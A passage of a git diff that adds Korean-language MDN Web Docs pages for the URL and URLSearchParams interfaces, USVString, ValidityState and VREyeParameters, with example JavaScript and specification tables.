+<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">url</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">URL</span>(<span class="cm-string">"https://developer.mozilla.org/ko/docs/Web/API/URL/toString"</span>);
+<span class="cm-variable">url</span>.<span class="cm-property">toString</span>(); // should return the URL as a string</span></span></span>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/url/index.html b/files/ko/web/api/url/url/index.html
new file mode 100644
index 0000000000..affcb467af
--- /dev/null
+++ b/files/ko/web/api/url/url/index.html
@@ -0,0 +1,107 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+tags:
+ - API
+ - Constructor
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/URL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><code><strong>URL()</strong></code> 생성자는 매개변수로 제공한 URL을 나타내는 새로운 {{domxref("URL")}} 객체를 반환합니다.</p>
+
+<p>주어진 기준 URL이나 결과 URL이 유효하지 않은 URL일 경우, JavaScript {{jsxref("TypeError")}} 예외가 발생합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <var>url</var> = new URL(<var>url</var> [, <var>base</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>url</var></code></dt>
+ <dd>절대 또는 상대 URL을 나타내는 {{domxref("USVString")}}. <code>url</code>이 상대 URL인 경우 <code>base</code> 매개변수를 기준 URL로 사용하므로 <code>base</code>도 필수로 지정해야 합니다. 절대 URL인 경우 <code>base</code>는 무시합니다.</dd>
+ <dt><code><var>base</var></code> {{optional_inline}}</dt>
+ <dd><code>url</code> 매개변수가 상대 URL인 경우 사용할 기준 URL을 나타내는 {{domxref("USVString")}}. 기본값은 <code>''</code>입니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: <code>base</code>에는 기존에 존재하는 {{domxref("URL")}} 객체도 사용할 수 있습니다. 그러면 {{domxref("URI.href", "href")}} 속성을 사용해 스스로 문자열화합니다.</p>
+</div>
+
+<h3 id="예외">예외</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">예외</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("TypeError")}}</td>
+ <td>절대 URL인 경우 <code>url</code>, 상대 URL인 경우 <code>base</code> + <code>url</code>이 유효하지 않은 URL인 경우.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Base urls
+let m = 'https://developer.mozilla.org';
+let a = new URL("/", m);                                // =&gt; 'https://developer.mozilla.org/'
+let b = new URL(m);                                     // =&gt; 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // =&gt; 'https://developer.mozilla.org/en-US/docs'
+let d = new URL('/en-US/docs', b);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
+        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+        new URL('http://www.example.com', );           // =&gt; 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // =&gt; 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // =&gt; 'https://foo.com' (see relative URLs)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.URL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>생성자가 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/username/index.html b/files/ko/web/api/url/username/index.html
new file mode 100644
index 0000000000..c102ea398c
--- /dev/null
+++ b/files/ko/web/api/url/username/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.username
+slug: Web/API/URL/username
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/username
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>username</code></strong> 속성은 도메인 이전의 사용자 이름을 담은 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>usernameString</em> = <em>url</em>.username
+<em>url</em>.username = <em>newUsername</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username');
+console.log(url.username) // Logs "anonymous"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-username', 'username')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.username")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..5491ad0b6f
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/index.html
@@ -0,0 +1,136 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+tags:
+ - API
+ - Interface
+ - Reference
+ - URL API
+ - URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>URLSearchParams</code></strong> 인터페이스는 URL의 쿼리 문자열에 대해 작업할 수 있는 유틸리티 메서드를 정의합니다.</p>
+
+<p><code>URLSearchParams</code>를 구현하는 객체는 {{jsxref("Statements/for...of", "for...of")}} 반복문에 바로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">for (const [key, value] of mySearchParams) {}
+for (const [key, value] of mySearchParams.entries()) {}
+</pre>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd> <code>URLSearchParams</code> 객체 인스턴스를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>특정 키/값을 새로운 검색 매개변수로 추가합니다.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>특정 매개변수를 찾아 키와 값 모두 지웁니다.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>객체의 모든 키/값 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","순회기")}}를 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.forEach()")}}</dt>
+ <dd>객체의 모든 값을 순회하며 지정한 콜백을 호출합니다.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 첫 번째 값을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 모든 값을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>주어진 검색 매개변수의 존재 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>객체의 <strong>모든 키</strong>를 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 값을 설정합니다. 연결된 값이 다수라면 나머지는 제거합니다.</dd>
+ <dt>{{domxref("URLSearchParams.sort()")}}</dt>
+ <dd>모든 키/값 쌍을 키로 정렬합니다.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>URL에 쓰기 적합한 형태의 쿼리 문자열을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>객체의 <strong>모든 값</strong>을 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api";
+var searchParams = new URLSearchParams(paramsString);
+
+//Iterate the search parameters.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h3 id="주의점">주의점</h3>
+
+<p><code>URLSearchParams</code> 생성자는 전체 URL을 분석하지 않습니다. 그러나, 맨 앞의 <code>?</code>는 제거합니다.</p>
+
+<pre>var paramsString1 = "http://example.com/search?query=%40";
+var searchParams1 = new URLSearchParams(paramsString1);
+
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
+
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+
+var paramsString2 = "?query=value";
+var searchParams2 = new URLSearchParams(paramsString2);
+searchParams2.has("query"); // true
+
+var url = new URL("http://example.com/search?query=%40");
+var searchParams3 = new URLSearchParams(url.search);
+searchParams3.has("query") // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URLSearchParams")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("URL")}} 인터페이스.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ko/web/api/urlsearchparams/tostring/index.html b/files/ko/web/api/urlsearchparams/tostring/index.html
new file mode 100644
index 0000000000..45f0373dec
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/tostring/index.html
@@ -0,0 +1,78 @@
+---
+title: URLSearchParams.toString()
+slug: Web/API/URLSearchParams/toString
+translation_of: Web/API/URLSearchParams/toString
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><strong><code>toString()</code> </strong>은 {{domxref("URLSearchParams")}} 인터페이스의 메소드로서, URL에서 사용할 수 있는 쿼리 문자열을 리턴합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 이 메소드는 물음표가 없는 쿼리 문자열을 리턴합니다. 이는 물음표를 포함하여 리턴하는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/search">window.location.search</a>와는 다른 부분입니다.</p>
+</div>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">URLSearchParams.toString()</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("DOMString")}}, without the question mark.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">let url = new URL('https://example.com?foo=1&amp;bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//두번째 foo 파라미터를 추가합니다.
+params.append('foo', 4);
+console.log(params.toString());
+//'foo=1&amp;bar=2&amp;foo=4'를 출력합니다.
+
+// note: params can also be directly created
+let url = new URL('https://example.com?foo=1&amp;bar=2');
+let params = url.searchParams;
+
+// or even simpler
+let params = new URLSearchParams('foo=1&amp;bar=2');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('URL', '#interface-urlsearchparams', "toString() (see \"stringifier\")")}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.toString")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("URL")}} interface.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
diff --git a/files/ko/web/api/urlsearchparams/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html
new file mode 100644
index 0000000000..94f138a633
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html
@@ -0,0 +1,76 @@
+---
+title: URLSearchParams()
+slug: Web/API/URLSearchParams/URLSearchParams
+translation_of: Web/API/URLSearchParams/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><code><strong>URLSearchParams()</strong></code> 생성자는 새로운 {{domxref("URLSearchParams")}} 객체를 생성하고 반환합니다.</p>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var <em>URLSearchParams</em> = new URLSearchParams(<em>init</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p><em><code>init</code></em> {{optional_inline}}</p>
+
+<p>다음 중 하나:</p>
+
+<ul>
+ <li>{{domxref("USVString")}}은 <code>application/x-www-form-urlencoded</code> 형식에서 해석됩니다. 선행문자인 <code>'?'</code> 는 무시됩니다.</li>
+ <li>일련의 {{domxref("USVString")}} 쌍은, 이름/값(names/values)을 나타냅니다.</li>
+ <li>{{domxref("USVString")}}은 키(keys)와 속성(values)의 레코드입니다.</li>
+</ul>
+
+<h3 id="반환값">반환값</h3>
+
+<p>{{domxref("URLSearchParams")}} 객체 인스턴스</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 URL string으로부터 {{domxref("URLSearchParams")}} 객체가 어떻게 만들어지는지를 보여줍니다.</p>
+
+<pre class="brush: js notranslate">// url 생성자에 전달된 주소를 url.search를 통해 params라는 변수로 검색합니다.
+var url = new URL('https://example.com?foo=1&amp;bar=2');
+var params = new URLSearchParams(url.search);
+
+// 문자열 리터럴을 전달합니다.
+var params2 = new URLSearchParams("foo=1&amp;bar=2");
+var params2a = new URLSearchParams("?foo=1&amp;bar=2");
+
+// 일련의 쌍으로 전달합니다.
+var params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+
+// 레코드로 전달합니다.
+var params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('URL', '#dom-urlsearchparams-urlsearchparams', "URLSearchParams()")}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.URLSearchParams")}}</p>
+</div>
diff --git a/files/ko/web/api/usvstring/index.html b/files/ko/web/api/usvstring/index.html
new file mode 100644
index 0000000000..b3282f2b96
--- /dev/null
+++ b/files/ko/web/api/usvstring/index.html
@@ -0,0 +1,40 @@
+---
+title: USVString
+slug: Web/API/USVString
+tags:
+ - API
+ - DOM
+ - Reference
+ - String
+ - WebIDL
+translation_of: Web/API/USVString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>USVString</code></strong>은 유니코드 스칼라 값의 모든 가능한 시퀀스 집합에 해당합니다. <code>USVString</code>이 JavaScript로 전달될 땐 {{jsxref("String")}}으로 매핑되며, 보통 유니코드 스칼라 값 문자열을 필요로 하는 텍스트 처리 API에서만 사용합니다.</span> <code>USVString</code>은 짝짓지 않은 서로게이트 코드포인트를 허용하지 않는 점을 제외하면 {{domxref("DOMString")}}과 같습니다. <code>USVString</code>의 해당 코드포인트는 브라우저가 유니코드 "대체 문자" <code>U+FFFD</code>(�)로 변환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebIDL', '#idl-USVString', 'USVString')}}</td>
+ <td>{{Spec2('WebIDL')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/validitystate/index.html b/files/ko/web/api/validitystate/index.html
new file mode 100644
index 0000000000..ee2e9a1b6e
--- /dev/null
+++ b/files/ko/web/api/validitystate/index.html
@@ -0,0 +1,83 @@
+---
+title: ValidityState
+slug: Web/API/ValidityState
+tags:
+ - API
+ - Constraint Validation API
+ - Forms
+ - HTML DOM
+ - Interface
+translation_of: Web/API/ValidityState
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>ValidityState</code></strong> 인터페이스는 제약 유효성 검사에 대해 요소가 가질 수 있는 유효성 상태를 나타내며, 요소의 값이 유효하지 않은 경우 그 이유에 대한 설명을 도와줍니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>각각의 {{jsxref("Boolean")}} 속성에 대해, <code>true</code> 값은 해당 이유로 인해 값의 유효성 검사를 실패했음을 나타냅니다. <code><strong>valid</strong></code> 속성은 예외로서 <code>true</code>는 모든 제약조건을 통과했음을 의미합니다.</p>
+
+<dl>
+ <dt>{{domxref("ValidityState.badInput", "badInput")}} {{ReadOnlyInline}}</dt>
+ <dd>사용자가 입력한 값을 브라우저가 변환하지 못했음을 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt><code>customError</code> {{ReadOnlyInline}}</dt>
+ <dd>{{domxref('HTMLObjectElement.setCustomValidity', 'setCustomValidity()')}} 메서드를 사용해 요소의 사용자 지정 유효성 메시지를 비어있지 않은 문자열로 설정했는지를 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt>{{domxref("ValidityState.patternMismatch", "patternMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("pattern", "input")}} 특성을 만족하지 못하는지 나타내는 {{jsxref("Boolean")}} 값입니다 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("max", "input")}} 특성보다 큰지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("min", "input")}} 특성보다 작은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.stepMismatch", "stepMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("step", "input")}} 특성의 규칙을 만족하지 않는지 (즉, 값을 스텝 값으로 나눌 수 없는지) 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.tooLong", "tooLong")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 <code>maxlength</code> 값보다 긴지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.tooShort", "tooShort")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 <code>minLength</code> 값보다 짧은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.typeMismatch", "typeMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 입력 유형에서 요구하는 형식({{htmlattrxref("type", "input")}}이 <code>email</code>이나 <code>url</code>인 경우)에 맞지 않는지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt><code>valid</code> {{ReadOnlyInline}}</dt>
+ <dd>요소가 모든 유효성 제약을 만족하여 유효한 상태인지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우 CSS {{cssxref(":valid")}} 의사 클래스를, 거짓일 경우 {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.valueMissing", "valueMissing")}} {{ReadOnlyInline}}</dt>
+ <dd>요소가 {{htmlattrxref("required", "input")}} 특성을 가지고 있지만 값은 없는 경우 참인 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'form-control-infrastructure.html#validitystate', 'ValidityState') }}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Living Standard</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML5.1', 'sec-forms.html#validitystate-validitystate', 'ValidityState') }}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>No change from the previous snapshot {{SpecName('HTML5 W3C')}}.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('HTML5 W3C', 'forms.html#validitystate', 'ValidityState') }}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ValidityState")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Guide: Constraint validation</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Tutorial: Form data validation</a></li>
+</ul>
diff --git a/files/ko/web/api/vreyeparameters/index.html b/files/ko/web/api/vreyeparameters/index.html
new file mode 100644
index 0000000000..79f25639ba
--- /dev/null
+++ b/files/ko/web/api/vreyeparameters/index.html
@@ -0,0 +1,88 @@
+---
+title: VREyeParameters
+slug: Web/API/VREyeParameters
+tags:
+ - API
+ - Experimental
+ - Landing
+ - Reference
+ - VR
+ - Virtual Reality
+ - WebVR
+translation_of: Web/API/VREyeParameters
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>의 <code><strong>VREyeParameters</strong></code> 인터페이스는 시야 정보 필드를 포함하여 특정한 눈에 대한 장면을 정확하게 렌더링 하는 데 필요한 모든 정보를 나타냅니다.</p>
+
+<p>{{domxref("VRDisplay.getEyeParameters()")}} 방법을 통해 액세스 할 수 있습니다.</p>
+
+<div class="warning">
+<p>The values in this interface should not be used to compute view or projection matrices. In order to ensure the widest possible hardware compatibility use the matrices provided by {{domxref("VRFrameData")}}.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("VREyeParameters.offset")}} {{readonlyInline}}</dt>
+ <dd>사용자 눈 사이의 중심점에서 눈 중심까지의 거리를 미터 단위로 나타냅니다.</dd>
+ <dt>{{domxref("VREyeParameters.fieldOfView")}} {{readonlyInline}}</dt>
+ <dd>현재 눈에 보이는 시야를 설명하며,사용자가 동공 사이의 거리(m/s)를 조절할 때 달라질 수 있습니다.(IPD).</dd>
+ <dt>{{domxref("VREyeParameters.renderWidth")}} {{readonlyInline}}</dt>
+ <dd>각 눈 뷰포트의 권장 렌더 타겟 폭을 픽셀 단위로 설명합니다.</dd>
+ <dt>{{domxref("VREyeParameters.renderHeight")}} {{readonlyInline}}</dt>
+ <dd>각 눈 뷰포트의 권장 렌더 타겟 높이를 픽셀 단위로 나타냅니다..</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">navigator.getVRDisplays().then(function(displays) {
+ // If a display is available, use it to present the scene
+ vrDisplay = displays[0];
+ console.log('Display found');
+ // Starting the presentation when the button is clicked:
+ // It can only be called in response to a user gesture
+ btn.addEventListener('click', function() {
+ vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+ console.log('Presenting to WebVR display');
+
+ // Set the canvas size to the size of the vrDisplay viewport
+
+ var leftEye = vrDisplay.getEyeParameters('left');
+ var rightEye = vrDisplay.getEyeParameters('right');
+
+ canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+ canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+ drawVRScene();
+ });
+ });
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebVR 1.1', '#vreyeparameters', 'VREyeParameters')}}</td>
+ <td>{{Spec2('WebVR 1.1')}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><span lang="ko">브라우저 호환성</span></h2>
+
+<p>{{Compat("api.VREyeParameters")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
new file mode 100644
index 0000000000..571c15684e
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
@@ -0,0 +1,354 @@
+---
+title: Basic concepts behind Web Audio API
